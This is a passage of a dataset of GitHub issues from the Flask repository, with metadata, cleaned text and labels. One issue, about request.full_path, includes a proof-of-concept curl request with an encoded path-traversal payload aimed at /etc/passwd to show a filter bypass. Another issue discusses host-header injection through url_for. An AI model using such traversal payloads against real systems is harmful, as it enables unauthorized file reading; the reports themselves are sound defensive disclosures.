    methods: Annotated[list[Method], Doc(""Allowed HTTP methods, e.g. ['GET', 'POST']"")],
    ...
) -> None:
    ...
```

### Benefits

* **Better editor/IDE hints and documentation** for route paths and HTTP methods.
* **Static validation of HTTP verbs** so type checkers catch typos like `""GEET""`.
* **Backward compatible** with existing type checkers and runtime behavior (`typing_extensions.Annotated` and `Literal` are supported across Python versions Flask supports).

### Questions for Maintainers

* Would you accept `Annotated` + `Doc` and `Literal` types in public API signatures?
* If yes, should I begin with a small pilot (e.g., only `add_url_rule`) before expanding to other decorators such as `route`?
",,2025-09-21 05:31:27+00:00,2025-09-21 05:59:42+00:00,0,nan,0.0196,enrich flask s public api type hints using typing annotated with doc metadata feature request summary enhance selected public flask apis for example and by adding with metadata and types for http methods to provide richer ide assistance and stronger static type checking example benefits better editor ide hints and documentation for route paths and http methods static validation of http verbs so type checkers catch typos like backward compatible with existing type checkers and runtime behavior and are supported across python versions flask supports questions for maintainers would you accept and types in public api signatures if yes should i begin with a small pilot e g only before expanding to other decorators such as,documentation,0.9686
pallets/flask,3422081693,asyncio is not compatible with gevent,"See #5256

async-await: <https://flask.palletsprojects.com/en/stable/async-await/>

> Using async with greenlet
> When using gevent or eventlet to serve an application or patch the runtime, greenlet>=1.0 is required. When using PyPy, PyPy>=7.3.7 is required.

Flask uses asgiref, which is not compatible with gevent: <https://github.com/django/asgiref/issues/443>


BTW:
ASGI: <https://flask.palletsprojects.com/en/stable/deploying/asgi/>

> The asgiref [WsgiToAsgi](https://github.com/django/asgiref#wsgi-to-asgi-adapter) adapter is recommended as it integrates with the event loop used for Flask’s [Using async and await](https://flask.palletsprojects.com/en/stable/async-await/#async-await) support.

This makes it seem like the event loop integration means a single worker could process multiple requests concurently, which it can't, the worker will block on `await`.

---

I'm not the only one that found this the hard way: [Flask, Gunicorn, Gevent and Asyncio Don't Mix](https://github.com/moogah/flask-gunicorn-gevent-asyncio/blob/29be08051cd663fa68d982f27232d2a5215a399c/README.md)
",docs,2025-09-16 12:28:32+00:00,2026-01-05 18:57:14+00:00,8,docs,111.2699,asyncio is not compatible with gevent see async await using async with greenlet when using gevent or eventlet to serve an application or patch the runtime greenlet is required when using pypy pypy is required flask uses asgiref which is not compatible with gevent btw asgi the asgiref wsgitoasgi adapter is recommended as it integrates with the event loop used for flask s using async and await support this makes it seem like the event loop integration means a single worker could process multiple requests concurently which it can t the worker will block on i m not the only one that found this the hard way flask gunicorn gevent and asyncio don t mix,documentation,0.34
pallets/flask,3415264936,deprecate `should_ignore_error`,"This was added in f1918093ac70d589a4d67af0d77140734c06c13d as part of the original code to keep the context around for use in the debugger, tests, etc. It was not part of a PR, and there's no linked issue or explanation on why it was added.

The intention seems to be to allow ignoring certain errors during debugging, so that cleanup is still run immediately. That's not how context preservation works anymore.  It also causes the exception to not be passed to teardown handlers, but there doesn't seem to be any reason to hide that, and handlers can already choose what to do if they're passed an error.

The method is only documented in the API, not in any other pages. There's no test for it. I have a feeling this isn't used. It results in an extra function call every single request, only to always return false. This can be deprecated then removed.",,2025-09-14 16:38:15+00:00,2026-01-25 03:53:13+00:00,4,nan,132.4687,deprecate this was added in f ac d a d af d c c d as part of the original code to keep the context around for use in the debugger tests etc it was not part of a pr and there s no linked issue or explanation on why it was added the intention seems to be to allow ignoring certain errors during debugging so that cleanup is still run immediately that s not how context preservation works anymore it also causes the exception to not be passed to teardown handlers but there doesn t seem to be any reason to hide that and handlers can already choose what to do if they re passed an error the method is only documented in the api not in any other pages there s no test for it i have a feeling this isn t used it results in an extra function call every single request only to always return false this can be deprecated then removed,bug,-0.8225
pallets/flask,3413941939,pass context internally instead of using contextvars,"Currently, there are a bunch of different methods on the `Flask` class that run to dispatch each request. Many of these access `request` and other context proxies. We should update them to pass the `AppContext` everywhere instead. This is more convenient after #5812 with only one context object instead of two. As @pgjones pointed out in #5229, not having to access the contextvar is a significant speedup to ASGI Quart, although it doesn't appear to affect WSGI Flask as much. Perhaps if we were serving with greenlets and so contexts were switching more, it would be more noticeable in Flask too.

The obvious problem is that it is a breaking change to the signatures of all these methods. I'm unsure how many methods are affected, but I'm also unsure how many projects are even subclassing `Flask` to override any of the methods. The fact that the methods are public seems unintentional, compared to the much more common ways of configuring and customizing an app.

We could continue to support both signatures, showing a deprecation warning for the old one, by adding some detection to `Flask.__init__`. This would add some amount of time during app setup, but wouldn't affect runtime performance of the app.

---

Another idea I had for the future was to have `@route` and other decorators inspect the signature of the decorated function, to allow injecting `request`, `app`, etc. if users would rather use that pattern than import the proxies. Having the request object directly available in a... [TRUNCATED]",,2025-09-13 18:19:56+00:00,2025-11-17 16:49:54+00:00,6,nan,64.9375,pass context internally instead of using contextvars currently there are a bunch of different methods on the class that run to dispatch each request many of these access and other context proxies we should update them to pass the everywhere instead this is more convenient after with only one context object instead of two as pgjones pointed out in not having to access the contextvar is a significant speedup to asgi quart although it doesn t appear to affect wsgi flask as much perhaps if we were serving with greenlets and so contexts were switching more it would be more noticeable in flask too the obvious problem is that it is a breaking change to the signatures of all these methods i m unsure how many methods are affected but i m also unsure how many projects are even subclassing to override any of the methods the fact that the methods are public seems unintentional compared to the much more common ways of configuring and customizing an app we could continue to support both signatures showing a deprecation warning for the old one by adding some detection to this would add some amount of time during app setup but wouldn t affect runtime performance of the app another idea i had for the future was to have and other decorators inspect the signature of the decorated function to allow injecting etc if users would rather use that pattern than import the proxies having the request object directly available in a truncated,others,-0.2382
pallets/flask,3372901713,3.1.2 regression: `stream_with_context` triggers `teardown_request()` calls before response generation,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->
Hello,

I believe the changes to `stream_with_context()` in https://github.com/pallets/flask/pull/5799/commits/9822a0351574790cb66c652fcc396ad7aa2b09d8 introduced a bug where the `teardown_request()` callables are invoked too early in the request/response lifecycle (and actually invoked twice, before generating the response and a second time after the end of the request). Take the following example:

```python
# flask_teardown_stream_with_context.py
from flask import Flask, g, stream_with_context


def _teardown_request(_):
    print(""do_teardown_request() called"")
    g.pop(""hello"")


app = Flask(__name__)

app.teardown_request(_teardown_request)


@app.get(""/stream"")
def streamed_response():
    g.hello = ""world""

    def generate():
        print(""Starting to generate response"")
        yield f""<p>Hello {g.hello} !</p>""

    return stream_with_context(generate())


app.run(debug=True)
```

In 3.1.1:

```
% /tmp/venv/bin/flask --version           
Python 3.13.7
Flask 3.1.1
Werkzeug 3.1.3
% /tmp/venv/bin/python flask... [TRUNCATED]",,2025-09-01 14:24:02+00:00,2026-01-25 03:54:29+00:00,8,nan,145.5628,regression triggers calls before response generation this issue tracker is a tool to address bugs in flask itself please use github discussions or the pallets discord for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t hello i believe the changes to in introduced a bug where the callables are invoked too early in the request response lifecycle and actually invoked twice before generating the response and a second time after the end of the request take the following example in tmp venv bin flask version python flask werkzeug tmp venv bin python flask truncated,bug,-0.8126
pallets/flask,3368604275,`flask.testing` misleadingly appears to import `TestResponse`,"`testing.py` contains the following:
```python
if t.TYPE_CHECKING:  # pragma: no cover
    from werkzeug.test import TestResponse
```
As such, any IDE or static checker will consider this to be valid code:
```python
import flask.testing as _flask_test

def my_test_helper(flask_test_client: _flask_test.FlaskClient) -> _flask_test.TestResponse:
    ...
```

However, at runtime, this code will fail, because `TestResponse` is not actually imported into the `flask.testing` namespace.

Possible solutions:
- Move `from werkzeug.test import TestResponse` outside the `if t.TYPE_CHECKING` block; you're already importing `werkzeug.test` in that file anyway
- Remove `from werkzeug.test import TestResponse` entirely and replace `TestResponse` with `werkzeug.test.TestResponse` in type-hints
- Change `from werkzeug.test import TestResponse` to `from werkzeug.test import TestResponse as _TestResponse`; the leading underscore signals marks the import as private, at which point it doesn't matter if its really imported or not because nobody should be using it from outside the file
",,2025-08-30 01:20:49+00:00,2025-08-30 02:04:17+00:00,2,nan,0.0302,misleadingly appears to import contains the following as such any ide or static checker will consider this to be valid code however at runtime this code will fail because is not actually imported into the namespace possible solutions move outside the block you re already importing in that file anyway remove entirely and replace with in type hints change to the leading underscore signals marks the import as private at which point it doesn t matter if its really imported or not because nobody should be using it from outside the file,others,-0.6249
pallets/flask,3276294392,Session is not updated on redirect target endpoint in tests,"Hello team.
During writing tests, I noticed a strange session behavior.

I want to verify that after a redirect, the target location sets valid session properties, and it seems like in tests, the session properties when following redirects are not saved/exposed to the test environment.

Here's an example:
```python
import pytest
from flask import Flask, redirect, session

@pytest.fixture
def app():
    app = Flask(__name__)
    app.debug = True
    app.secret_key = 'test_secret'  # noqa: S105 – fake secret key for testing purposes

    @app.get('/redirect')
    def do_redirect():
        print(""Redirecting to target endpoint"", flush=True)
        session[""redirected""] = ""true""
        return redirect('/target', 302)

    @app.get('/target')
    def target():
        print(""Target endpoint reached"", flush=True)
        session['foo'] = 'bar'
        return 'Target', 200

    return app

@pytest.fixture()
def client(app):
    return app.test_client()

def test_session(client):
    with client:
        response = client.get(""/redirect"", follow_redirects=True)

        print(f""Session after a redirect: {session.items()}"", flush=True)
        assert response.status_code == 200
        assert response.data == b""Target""

        assert session.get(""redirected"") == ""true""
        assert session.get('foo') == 'bar'

        client.get(""/target"", follow_redirects=True)
        assert session.get('foo') == 'bar'
        assert response.data == b""Target""
        print(f""Session after a d... [TRUNCATED]",,2025-07-30 09:18:04+00:00,2025-08-18 16:56:49+00:00,1,nan,19.3186,session is not updated on redirect target endpoint in tests hello team during writing tests i noticed a strange session behavior i want to verify that after a redirect the target location sets valid session properties and it seems like in tests the session properties when following redirects are not saved exposed to the test environment here s an example python import pytest from flask import flask redirect session pytest fixture def app app flask name app debug true app secret key test secret noqa s fake secret key for testing purposes app get redirect def do redirect print redirecting to target endpoint flush true session redirected true return redirect target app get target def target print target endpoint reached flush true session foo bar return target return app pytest fixture def client app return app test client def test session client with client response client get redirect follow redirects true print f session after a redirect session items flush true assert response status code assert response data b target assert session get redirected true assert session get foo bar client get target follow redirects true assert session get foo bar assert response data b target print f session after a d truncated,others,0.9558
pallets/flask,3271475553,"Add a ""Scroll to Top"" Button for Long Documentation Pages","Some pages in the Flask documentation—such as [API](https://flask.palletsprojects.com/en/stable/api/) and [Configuration Handling](https://flask.palletsprojects.com/en/stable/config/)—are very long, requiring users to manually scroll all the way back up to access the top navigation links.

Adding a persistent ""Scroll to Top"" button (e.g. fixed to the bottom-left corner) would enhance usability by making navigation easier for users reading on smaller screens or mobile devices. This is a common accessibility and UX pattern on many documentation sites and could improve the overall reading experience.

This proposal does not affect Flask’s core library—it’s a suggestion for the documentation site UI only. I’m happy to help with a pull request if the maintainers are open to the addition.",,2025-07-28 22:48:31+00:00,2025-07-31 18:47:19+00:00,0,nan,2.8325,add a scroll to top button for long documentation pages some pages in the flask documentation such as api and configuration handling very long requiring users to manually scroll all the way back up to access the top navigation links adding a persistent scroll to top button e g fixed to the bottom left corner would enhance usability by making navigation easier for users reading on smaller screens or mobile devices this is a common accessibility and ux pattern on many documentation sites and could improve the overall reading experience this proposal does not affect flask s core library it s a suggestion for the documentation site ui only i m happy to help with a pull request if the maintainers are open to the addition,documentation,0.9382
pallets/flask,3235106841,Looser type annotations for send_file() path_or_file argument,"`path_or_file` argument of `flask.helpers.send_file` is typed as `os.PathLike[t.AnyStr] | str | t.BinaryIO`. This prevents passing some objects that are `t.IO[bytes]`, but not `t.BinaryIO`. The underlying`werkzeug.utils.send_file` already allows `t.IO[bytes]` due to pallets/werkzeug#2209 since version 2.0.2.


Reproduction:
```python
from tempfile import NamedTemporaryFile
from typing import IO

from flask.helpers import send_file


# The return type cannot be ""BinaryIO"" because ""NamedTemporaryFile"" is incompatible with it according to Mypy.
def some_function() -> IO[bytes]:
    file = NamedTemporaryFile()
    ...
    return file


file = some_function()
send_file(file)
```

Raises the following exception with Mypy 1.16.1.
```
error: Argument 1 to ""send_file"" has incompatible type ""IO[bytes]""; expected ""PathLike[str] | str | BinaryIO""  [arg-type]
```

I could simply change the return value of `some_function` to `_TemporaryFileWrapper[bytes]` or cast it to `BinaryIO`.
However, I would like to allow `t.IO[bytes]`.

Side note: `_TemporaryFileWrapper[bytes]` conforms to `PathLike[str]` due to python/typeshed#7840. That is why it is accepted by `flask.helpers.send_file`.

Allowing `t.IO[bytes]` would be backwards compatible change as all `t.BinaryIO` are also `t.IO[bytes]`.
[Mypy Playground](https://mypy-play.net/?mypy=latest&python=3.10&gist=4d7e2a43a847df9d332f5b7daba7a9fe)

Environment:

- Python version: 3.12.11
- Flask version: 3.1.1
",,2025-07-16 09:06:28+00:00,2025-08-18 17:26:25+00:00,0,nan,33.3472,looser type annotations for send file path or file argument argument of is typed as this prevents passing some objects that are but not the underlying already allows due to pallets werkzeug since version reproduction raises the following exception with mypy i could simply change the return value of to or cast it to however i would like to allow side note conforms to due to python typeshed that is why it is accepted by allowing would be backwards compatible change as all are also mypy playground environment python version flask version,others,0.8417
pallets/flask,3233706509,`stream_with_context` does not work with async routes,"Consider this trivial route + test in `app.py`:

```python
import flask
from flask import Flask
from flask import Response

import pytest

app = Flask(__name__)


@app.route(""/foo"")
async def foo():
    def gen():
        yield ""bar""

    return Response(flask.stream_with_context(gen()))


def test_foo():
    with app.test_client() as client:
        client.get(""/foo"")
```

With the following `requirements.txt`:

```
flask[async]==3.1.1
pytest==8.4.1
werkzeug==3.1.3
```

Running `pytest app.py` results in:

```
============================= test session starts ==============================
platform darwin -- Python 3.12.11, pytest-8.4.1, pluggy-1.6.0
rootdir: /private/tmp/stream_with_context
collected 1 item

app.py F                                                                 [100%]

=================================== FAILURES ===================================
___________________________________ test_foo ___________________________________

    def test_foo():
        with app.test_client() as client:
>           client.get(""/foo"")

app.py:20:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
venv/lib/python3.12/site-packages/werkzeug/test.py:1162: in get
    return self.open(*args, **kw)
           ^^^^^^^^^^^^^^^^^^^^^^
venv/lib/python3.12/site-packages/flask/testing.py:235: in open
    response = super().open(
venv/lib/python3.12/site-packages/werkzeug/test.py:1116: in open
    response_parts = self.run_wsgi_app(request.environ, buffe... [TRUNCATED]",async,2025-07-15 21:08:57+00:00,2025-08-19 15:24:06+00:00,3,async,34.7605,does not work with async routes consider this trivial route test in with the following running results in test session starts platform darwin python pytest pluggy rootdir private tmp stream with context collected item app py f failures test foo def test foo with app test client as client client get foo app py venv lib python site packages werkzeug test py in get return self open args kw venv lib python site packages flask testing py in open response super open venv lib python site packages werkzeug test py in open response parts self run wsgi app request environ buffe truncated,others,0.1962
pallets/flask,3215359249,Flask documentation website does not support dark mode,"**Describe the issue**
The official Flask documentation at https://flask.palletsprojects.com currently does not support dark mode. For many developers, especially those working at night or with light sensitivity, this can create accessibility and eye strain issues.

**Expected behavior**
It would be helpful if the documentation site could support an optional dark theme, either by detecting system preferences (prefers-color-scheme) or allowing manual switching.

**Additional context**
Many popular frameworks like: 
- Django
- FastAPI
- Pydantic
- Typer
have added dark mode support in their docs, improving readability and user comfort.",,2025-07-09 10:11:48+00:00,2025-07-09 14:22:24+00:00,2,nan,0.174,flask documentation website does not support dark mode describe the issue the official flask documentation at currently does not support dark mode for many developers especially those working at night or with light sensitivity this can create accessibility and eye strain issues it would be helpful if the documentation site could support an optional dark theme either by detecting system preferences prefers color scheme or allowing manual switching many popular frameworks like django fastapi pydantic typer have added dark mode support in their docs improving readability and user comfort,documentation,0.7405
pallets/flask,3166579056,document that `request.full_path` leaves query string percent encoded,"WHAT IS THE BUG?

`request.full_path` is documented as *“Requested path as unicode, including the query string.”*  
However, Werkzeug URL-unquotes only the **path** (before “?”); the **query string** is returned **raw**.  
Code that searches or whitelists on `full_path` can therefore be bypassed by percent-encoding a slash inside a parameter.

----------------------------------------------------------------------------------------------------------------

HOW TO REPLICATE

```
```python
from flask import Flask, request
app = Flask(__name__)

@app.route(""/show_picture"")
def show_picture():
    # naïve traversal filter
    if ""../"" in request.full_path:
        return ""Blocked"", 400
    return f""full_path = {request.full_path}"", 200

# run:  flask --app poc run


# bypass: ""../"" hidden as ""%2F""
curl ""http://127.0.0.1:5000/show_picture?img=..%2F..%2Fetc%2Fpasswd""
Result → 200 OK; the filter misses the traversal because ../ appears as ..%2F.
```

----------------------------------------------------------------------------------------------------------------


EXPECTED BEHAVIOR
Documentation (and the full_path docstring) should warn clearly:

""Only the portion before “?” is URL-unquoted. The query string is returned raw; unquote it manually (e.g. urllib.parse.unquote_plus) before using it for validation or filtering.""

Without that notice, filters like

if ""../"" in request.full_path:
    ...
if request.full_path.startswith(""/admin""):
    ...

can be bypassed with %2F inside the qu... [TRUNCATED]",docs,2025-06-23 02:47:18+00:00,2025-06-23 17:09:27+00:00,1,docs,0.5987,document that leaves query string percent encoded what is the bug is documented as requested path as unicode including the query string however werkzeug url unquotes only the path before the query string is returned raw code that searches or whitelists on can therefore be bypassed by percent encoding a slash inside a parameter how to replicate python from flask import flask request app flask name app route show picture def show picture na ve traversal filter if in request full path return blocked return f full path request full path run flask app poc run bypass hidden as f curl result ok the filter misses the traversal because appears as f documentation and the full path docstring should warn clearly only the portion before is url unquoted the query string is returned raw unquote it manually e g urllib parse unquote plus before using it for validation or filtering without that notice filters like if in request full path if request full path startswith admin can be bypassed with f inside the qu truncated,feature,-0.2732
pallets/flask,3131076310,404 Flask cannot find /security/login API,"We are using airflow 2.8.4, and recently we upgrade it to 2.10.5

### Environment for Airflow 2.8.4

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.3.11
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.1.0
Flask-JWT-Extended==4.6.0
Flask-Limiter==3.5.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.1
Flask==2.2.5
```

Call /security/login API:

<img width=""1541"" alt=""Image"" src=""https://github.com/user-attachments/assets/ef976819-1ac1-4bd6-b84b-3ceab844a998"" />


### Environment for Airflow 2.10.5

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.5.2
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.3.0
Flask-JWT-Extended==4.7.1
Flask-Limiter==3.10.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.2
Flask==2.2.5
```

Call /security/login API:

<img width=""1552"" alt=""Image"" src=""https://github.com/user-attachments/assets/e6ca32db-cb56-49e6-a266-8edb82e8d0b2"" />


Error Log:
```
{
  ""detail"": ""The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again."",
  ""status"": 404,
  ""title"": ""Not Found"",
  ""type"": ""about:blank""
}
```

/security/login API in  Flask-AppBuilder==4.5.2

https://github.com/dpgaspar/Flask-AppBuilder/blob/v4.5.2/flask_appbuilder/security/api.py#L32

/security/login API in  Flask-AppBuilder==4.3.11

https://github.com/dpgaspar/Flask-AppBuilder/blob/v4.3.11/flask_appbuilder/security/api.py#L32",,2025-06-09 18:18:08+00:00,2025-06-09 18:33:22+00:00,1,nan,0.0106,flask cannot find security login api we are using airflow and recently we upgrade it to environment for airflow python version flask version call security login api environment for airflow python version flask version call security login api error log security login api in flask appbuilder security login api in flask appbuilder,others,-0.8801
pallets/flask,3131059951,Flask cannot find /security/logic API,"We are using airflow 2.8.4, and recently we upgrade it to 2.10.5

Environment for Airflow 2.8.4

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.5.2
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.3.0
Flask-JWT-Extended==4.7.1
Flask-Limiter==3.10.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.2
Flask==2.2.5
```

Call /security/logic API:

<img width=""1541"" alt=""Image"" src=""https://github.com/user-attachments/assets/ef976819-1ac1-4bd6-b84b-3ceab844a998"" />


Environment for Airflow 2.10.5

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.3.11
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.1.0
Flask-JWT-Extended==4.6.0
Flask-Limiter==3.5.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.1
Flask==2.2.5
```

Call /security/logic API:

<img width=""1552"" alt=""Image"" src=""https://github.com/user-attachments/assets/e6ca32db-cb56-49e6-a266-8edb82e8d0b2"" />
",,2025-06-09 18:11:05+00:00,2025-06-09 18:13:39+00:00,1,nan,0.0018,flask cannot find security logic api we are using airflow and recently we upgrade it to environment for airflow python version flask version call security logic api environment for airflow python version flask version call security logic api,others,-0.6259
pallets/flask,3112547502,"Typing mismatch between Flask and Werkzeug ""Response"" objects","There is an odd typing issue where Werkzeug `Response` != Flask `Response`. Please see below:

```python
from flask import Response, redirect, url_for

def foo() -> Response:
    return redirect(url_for(""some.route""))
```

This example returns:

```
basedpyright: Type ""Response"" is not assignable to return type ""Response""                                
  ""werkzeug.wrappers.response.Response"" is not assignable to ""flask.wrappers.Response"" [reportReturnType]
```

Environment:

- Python version: 3.13
- Flask version: 3.1.1
",,2025-06-03 06:07:09+00:00,2025-06-03 11:18:10+00:00,1,nan,0.216,typing mismatch between flask and werkzeug response objects there is an odd typing issue where werkzeug flask please see below this example returns environment python version flask version,others,0.0
pallets/flask,3093866878,MAX_FORM_MEMORY_SIZE not being picked up correctly,"## ISSUE
Setting app.config[""MAX_FORM_MEMORY_SIZE""] = VALUE
does not have any effect on the actual configuration and the default 500000 bytes from werkzeug request is stilled used


## REPLICATION
Setup a minimum flask project

app = Flask(__name__)
app.config[""MAX_FORM_MEMORY_SIZE""] = 1024 * 1024 * 1024

print(app.request_class.max_form_memory_size)

## MISSBEHAVIOUR
I would expect if I set the MAX FORM MEMORY SIZE in my config it is properly applied and I can send requests with a content length appropriate to the setting but flask defaults to 500kb

Environment:

- Python version:  3.11
- Flask version: 2.3.3
",,2025-05-27 13:03:43+00:00,2025-05-27 13:35:07+00:00,1,nan,0.0218,max form memory size not being picked up correctly issue setting app config max form memory size value does not have any effect on the actual configuration and the default bytes from werkzeug request is stilled used replication setup a minimum flask project app flask name app config max form memory size print app request class max form memory size missbehaviour i would expect if i set the max form memory size in my config it is properly applied and i can send requests with a content length appropriate to the setting but flask defaults to kb environment python version flask version,others,0.1779
pallets/flask,3089006130,Model Context Protocol (MCP) Support for Flask,"## Feature Request: Model Context Protocol (MCP) Support for Flask

### Description

This feature request proposes adding native support for the Model Context Protocol (MCP) to Flask. MCP is an open protocol that enables secure connections between host applications and AI model providers, allowing for standardized communication patterns in AI-powered applications.

**Key aspects of MCP integration would include:**
- Built-in MCP server capabilities for Flask applications
- Middleware for handling MCP message routing
- Authentication and authorization mechanisms for MCP connections
- WebSocket and HTTP transport support as per MCP specification
- Integration with Flask's existing request/response cycle

**Relevant links:**
- [Model Context Protocol Specification](https://modelcontextprotocol.io/introduction)
- [MCP GitHub Repository](https://github.com/modelcontextprotocol/python-sdk)

### Problem Statement

Currently, developers who want to build AI-powered Flask applications that communicate via MCP must implement the protocol manually or rely on third-party libraries. This creates several challenges:

1. **Boilerplate Code**: Developers need to write significant boilerplate to handle MCP message formatting, routing, and transport
2. **Inconsistent Implementation**: Without standardized Flask integration, different projects implement MCP differently
3. **Security Concerns**: Manual implementation may miss important security considerations built into the MCP spec
4. **Mainten... [TRUNCATED]",,2025-05-25 03:21:12+00:00,2025-05-25 03:57:26+00:00,3,nan,0.0252,model context protocol mcp support for flask feature request model context protocol mcp support for flask description this feature request proposes adding native support for the model context protocol mcp to flask mcp is an open protocol that enables secure connections between host applications and ai model providers allowing for standardized communication patterns in ai powered applications key aspects of mcp integration would include built in mcp server capabilities for flask applications middleware for handling mcp message routing authentication and authorization mechanisms for mcp connections websocket and http transport support as per mcp specification integration with flask s existing request response cycle relevant links model context protocol specification mcp github repository problem statement currently developers who want to build ai powered flask applications that communicate via mcp must implement the protocol manually or rely on third party libraries this creates several challenges boilerplate code developers need to write significant boilerplate to handle mcp message formatting routing and transport inconsistent implementation without standardized flask integration different projects implement mcp differently security concerns manual implementation may miss important security considerations built into the mcp spec mainten truncated,help,0.9623
pallets/flask,3076570590,Allow multiple template folders for large projects,"
Jinja2 supports multiple search paths for templates so Flask should do the same. This will allow template inheriting without copying files.


https://github.com/pallets/jinja/blob/main/src/jinja2/loaders.py#L190
",,2025-05-20 10:48:36+00:00,2025-05-20 12:18:26+00:00,3,nan,0.0624,allow multiple template folders for large projects jinja supports multiple search paths for templates so flask should do the same this will allow template inheriting without copying files,others,0.6486
pallets/flask,3056108555,The `template_filter` decorator doesn't work if you don't pass an argument,"## What's the issue?

You can use `template_filter` as a decorator, but it only registers the filter if you write an explicit name or an empty set of parentheses. If you call it without parens, the filter doesn't get registered.

It's a small difference and can be confusing.

## Minimal example

Consider the following program:

```python
from flask import Flask, render_template_string


app = Flask(__name__)


@app.template_filter
def double(x):
    return x * 2


@app.route(""/"")
def index():
    return render_template_string(""2 times 2 is {{ 2 | double }}"")
```

If you run this app (`flask run --port 8008 --debug`) and then open it in your browser (`http://localhost:8008`) you'll get an error:

```
jinja2.exceptions.TemplateAssertionError: No filter named 'double'.
```

This is confusing, and it took me a while to realise the missing parentheses in `app.template_filter` were at fault.

## Suggested fix

I think it would be helpful if the decorator either:

* Supported being called without parentheses, or
* Printed an explicit warning if called this way, e.g. `Did you use 'template_filter' as a decorator without parentheses? You need to call it with 'template_filter()'`

This is caught by type checkers, but not everybody type checks their Python and the error message is less obvious:

```
Argument 1 to ""template_filter"" of ""App"" has incompatible type ""Callable[[Any], Any]""; expected ""str | None""
```

I've had a look at the relevant code, and I'd be happy to provide a patch if... [TRUNCATED]",,2025-05-12 08:33:00+00:00,2025-08-19 19:36:01+00:00,9,nan,99.4604,the decorator doesn t work if you don t pass an argument what s the issue you can use as a decorator but it only registers the filter if you write an explicit name or an empty set of parentheses if you call it without parens the filter doesn t get registered it s a small difference and can be confusing minimal example consider the following program if you run this app and then open it in your browser you ll get an error this is confusing and it took me a while to realise the missing parentheses in were at fault suggested fix i think it would be helpful if the decorator either supported being called without parentheses or printed an explicit warning if called this way e g this is caught by type checkers but not everybody type checks their python and the error message is less obvious i ve had a look at the relevant code and i d be happy to provide a patch if truncated,others,-0.8462
pallets/flask,3054331685,Adding Architecture Diagram Contribution,"Hello maintainers!
I've created an architecture diagram that visualizes Flask's core components and their relationships. This visualization could help new contributors understand the codebase structure and assist users in grasping Flask's high-level architecture.

![Image](https://github.com/user-attachments/assets/143025cf-6094-4c19-93f5-ac06bfa59738)

[Flask Architecture Diagram on Kloudfarm.io](https://app.kloudfarm.io/share/379c2674f0b240c387a5135690c8f01c8c18a988878e99846fb36ea18ad7e1ef)
The diagram shows:
- Core Flask classes and relationships
- Request/response lifecycle
- Extension integration points
- Blueprint organization

I'd be happy to:

1. Submit a PR to add this to documentation
2. Provide different file formats
3. Create more focused diagrams of specific subsystems

Would this be a helpful addition to the project? Open to any feedback or suggestions.
Thanks!",,2025-05-10 16:22:17+00:00,2025-05-10 16:45:20+00:00,1,nan,0.016,adding architecture diagram contribution hello maintainers i ve created an architecture diagram that visualizes flask s core components and their relationships this visualization could help new contributors understand the codebase structure and assist users in grasping flask s high level architecture image flask architecture diagram on kloudfarm io the diagram shows core flask classes and relationships request response lifecycle extension integration points blueprint organization i d be happy to submit a pr to add this to documentation provide different file formats create more focused diagrams of specific subsystems would this be a helpful addition to the project open to any feedback or suggestions thanks,others,0.9524
pallets/flask,3010815835,Ihmuukin_ai,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2025-04-22 11:37:28+00:00,2025-04-22 11:40:56+00:00,0,nan,0.0024,ihmuukin ai this issue tracker is a tool to address bugs in flask itself please use github discussions or the pallets discord for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,others,-0.5267
pallets/flask,2991805037,"Recommend Warning and Safer Defaults for url_for(..., _external=True)","Hi Flask team,

We recently analyzed several Flask-based applications and noticed a recurring security concern related to url_for(..., _external=True) when used in untrusted request contexts. Specifically, since it uses request.host by default to construct the external URL, applications that do not explicitly configure SERVER_NAME or sanitize headers can be vulnerable to host header injection.

To improve developer awareness and reduce misuse, we suggest: Add a warning to the url_for documentation about the risk of relying on request.host, and recommend the use of SERVER_NAME or trusted_hosts when generating external URLs.

We’d be happy to help draft the relevant documentation or contribute a pull request if this direction aligns with the maintainers' goals.

Best regards,
Rui Yang and Zhengyu Liu
Johns Hopkins University
